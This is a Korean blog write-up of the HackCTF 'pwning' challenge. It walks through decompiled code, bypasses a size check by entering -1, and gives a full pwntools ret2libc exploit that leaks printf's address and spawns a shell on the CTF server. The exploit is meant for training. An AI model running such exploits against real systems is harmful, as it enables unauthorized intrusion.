Pwnstar

HackCTF pwning 본문

Wargame/HackCTF

HackCTF pwning

포너블처돌이 2020. 7. 20. 17:07

예전에 라업을 작성했던것 같은데 없다...?

 

아무튼 다시 풀어보자

 

보호기법은 NX bit만 걸려있다.

 

IDA로 함 까보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

 

요래 생겼다. vuln 함수도 까보자

 

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(&nptr, 4);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

 

대충 감이 온다. oob가 발생할 것 같다. 그러고 get_n으로 입력을 받는데,

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}

 

단순히 입력을 받는 함수인 것 같다

 

그러면 처음에 사이즈의 입력을 -1을 주면 if문도 우회할 수 있고, 입력도 얼마든지 받을 수 있으니 -1을 입력하고 bof를 이용하면 될 듯 하다.

from pwn import *

#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)

binsh = "/bin/sh\x00"

print_plt = 0x8048370
print_got = 0x804a00c
vuln = 0x0804852f

p.recvuntil("How many bytes do you want me to read? ")

payload = "-1"
p.sendline(payload)

p.recvuntil("\n")

payload = ""
payload += "A"*48
payload += p32(print_plt)
payload += p32(vuln)
payload += p32(print_got)

p.sendline(payload)

p.recvuntil("\n")
leak = p.recv()
#log.info("leak = " + leak)

print_leak = u32(leak[:4])
log.info("printf = " + hex(print_leak))

system = print_leak - 0xe6e0
binsh = print_leak + 0x11000b

p.sendline("-1")
p.recvuntil("\n")

payload = ""
payload += "A"*48
payload += p32(system)
payload += "AAAA"
payload += p32(binsh)

p.sendline(payload)

p.interactive()

 

'Wargame > HackCTF' 카테고리의 다른 글

hackctf childheap  (0) 2021.01.26
HackCTF 풍수지리설  (0) 2020.07.22
HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF j0n9hyun's secret  (0) 2020.06.29
HackCTF World Best Encryption Tool  (0) 2020.06.28
Comments